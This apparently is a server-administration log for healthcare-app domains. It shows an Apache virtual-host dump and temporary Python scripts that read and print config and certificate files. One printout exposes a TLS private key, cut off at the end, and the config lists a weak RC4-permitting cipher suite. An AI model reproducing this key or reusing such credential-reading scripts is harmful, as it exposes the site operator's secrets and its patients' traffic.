                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-13 06:00:33: 

PUT: /tmp/pkp840580

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-13 06:00:33: 

chmod 755 /tmp/pkp840580; /tmp/pkp840580; rm /tmp/pkp840580

2026-03-13 06:00:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf	1744

<VirtualHost *:80>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>







2026-03-13 06:00:33: 

PUT: /tmp/pkp571795

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-13 06:00:33: 

chmod 755 /tmp/pkp571795; /tmp/pkp571795; rm /tmp/pkp571795

2026-03-13 06:00:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt	5378
8b:fc:15:89:ec:b5:bf:d8:39:da:01:89:8e:0d:9f:9d

-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBXU4uS25gTPhFtEGPyle5h4rMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzEzMDUwMjAxWhcNMjYwNjExMDUwMjAwWjAnMSUwIwYDVQQD
ExxhdGhlbmFoZWFsdGgucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAtTcKXqQnCZnEn+PC2cwv2xQF+zV45rdy7yolm692QJci
UHgNNKe89EdXb08iNa9TcyCRzkSMRdRZPRfoHPB48no+cc7NHfG6cOcg3ATLA2m6
g2nPV+DWTOXmh/HUFulvbZdVGPOUcQGrCENXRpjqgYu49/0twxqxCRDOo2bcsIhc
VPwn2u1oyHaouZTmcMXOCvckQPxJqyRR9dQM/606WZa5RS7fAk8zpRksfSSrchtn
GpD+JjnZ7Nir9NmrTfXUVvZpSdkn5vxS0QAJJt42/PsOBKtCYU7wPM3KT3SEzDT6
agrXl085jAuEOzAk95eTUc5S4pzMZ3RrIL8L593UjQIDAQABo4ICKTCCAiUwDgYD
VR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFNwTK1jkvdxWc/j+RVoj54B0m9Y4MB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wJwYDVR0RBCAwHoIcYXRoZW5haGVhbHRoLnBh
dGllbnRhcHBzLm5ldDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzQ0LmNybDCCAQsGCisGAQQB1nkC
BAIEgfwEgfkA9wB1AJaXZL9VWJet90OHaDcIQnfp8DrV9qTzNm5GpD8PyqnGAAAB
nOXIPuUAAAQDAEYwRAIgLnwAPveqNfcx5y6UDcmiQ/YssubURuuxnkmr4v8ehEcC
IEZa3CAIpcF7XAXG1+Iu6iWOUK3p8W9jUeEIl5YSvvt9AH4AcX6V88I4im2x44RJ
PTHhWqliCHYtQgDgBQzQZ7WmYeIAAAGc5cg/QAAIAAAFAAuNHfIEAwBHMEUCIDcf
bEyVWmA+ki6YoE9YPz/zW4T+avvjvlb+X8n/TbgLAiEAhMvBftHjHcEKfUB4Hk3v
vvFnL4exc5vUHbkhl6fNwt4wDQYJKoZIhvcNAQELBQADggEBAJbZ7xWEoEHWlJol
EsKC/hc7ccZbRfktxuVQHFyWitDh8+uVp5zFuN5ryexSh40dUNvfpuqOfODjmH/X
QDnTaHiP26nyPlYhY0vRdXi1XzpwyWhq8F0+kordSHO7hPybhmirW32DAQDGPW25
GdOJtbujM/m1HpNfBcHy7rqmrdQKUxTVI2TuU2bbNFUszhKThuJiyMgRscx1bPEz
tVfX2NtYAufxVK66PX4SP6ofdBYGP6f/ytGB0+pNEMnNJMi6OS78Y7630xP4rI04
DuAtKNmICRmvnhkdhXQnzWZK/7+AQUP+dmg287ufqlZ4Yqdaw0idamdRdnoBYwg0
YA/pdbA=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC1NwpepCcJmcSf
48LZzC/bFAX7NXjmt3LvKiWbr3ZAlyJQeA00p7z0R1dvTyI1r1NzIJHORIxF1Fk9
F+gc8Hjyej5xzs0d8bpw5yDcBMsDabqDac9X4NZM5eaH8dQW6W9tl1UY85RxAasI
Q1dGmOqBi7j3/S3DGrEJEM6jZtywiFxU/Cfa7WjIdqi5lOZwxc4K9yRA/EmrJFH1
1Az/rTpZlrlFLt8CTzOlGSx9JKtyG2cakP4mOdns2Kv02atN9dRW9mlJ2Sfm/FLR
AAkm3jb8+w4Eq0JhTvA8zcpPdITMNPpqCteXTzmMC4Q7MCT3l5NRzlLinMxndGsg
vwvn3dSNAgMBAAECggEAB/U40VsoE7Xa+qKH5gSffWFtudBpVMhtla8mI6Ya7U81
xI7hFZTgKWIQpuS0veLLKV0eyg4cktx2ZsZr/QlaZluT7m+EdnItG9Qqjz7uo2G7
PRYictt+zbWy3/lwtOjfadKhfA0GUcge+KfsZz9D3RiDsPA/WDgN2jYQvQBBZMcl
S1s4rlLeTDc7doHyu7buNfOr8BjaxmWQlkBZwMkgIlFwmLIf8uAxQusffhzbEImI
Ooi9e3KBL+zMgsAFLuwO+xk3XaT7LzmgwQK20eZRHbXH6cfyQCJOntYmDcreZo4A
0xRwS6MefjzCGLrX4P9mgBtZkFogRNvE3PfQ6VAYiQKBgQDbEckaE9p2xA9rSiAn
U3z7w1Xrzjhu2JiLyLCJWwpBlyK0v4aYaPyrfN+miwgKn/Tv0jkaZzKLBs/aoZDm
G6TJmd5BSB//j0/4ADOn8Mn+jEiHy2TX48FvawMk6ZiyJCRlaqoIMWRXhZrdXl86
2JiHrZiBgZbXpEDJQYixXUKNZwKBgQDTw5kqddAtVv3F6KjC4VyTOWh603kPA53V
Iuo6x8htVZ2Qsj8UKfGQPeT7yM7H1dVGWpS6/XkbzXw8o9OKDKs/Hdrqu2vf6xTI
4TZsitY4cBV4kHWOmOZjAhzB3gm0SWKmVedb7vQfR8virtV8Xr/B2zHu7+fV5eOZ
+ox3+P5h6wKBgCSefXpBdVRDA7zQgD1ypELFbThkmWRWCnHbUz8ym61JIUELfuk9
K3dTAWOqe+aixGPORUNXmshIlDgcp8b/OfWFJfTNpKOohhqTlg7tniZRttIUOsAn
zy7buYPTFHY6umbFhLSn5PkIWVHFs693g0+ywfpr+hYD29yIetwDFdvjAoGBALOn
zdnn+aV9l+6/Y+1xpEiC+9C4eIv0VYLtDCqyM6gOao7HqhxBOV9WI145DrUbBMWb
M3Mwd/7OZghMNLt55A64FXHvb6WYmxmRd8q+Pt/Ct3SBmjpQHaUBtcQDy9fYKolT
d+TW5OVk0+SMzzGkcKrWe5ZqkhU149JObb2a0LXhAoGBANK5JKSf+EzzrDao4m8K
brXCDQYhh/UpJixAKG5iDMOpisTl97FrlRRPv7K69HGp5M8QQm1UPQ+5kVedbtmY
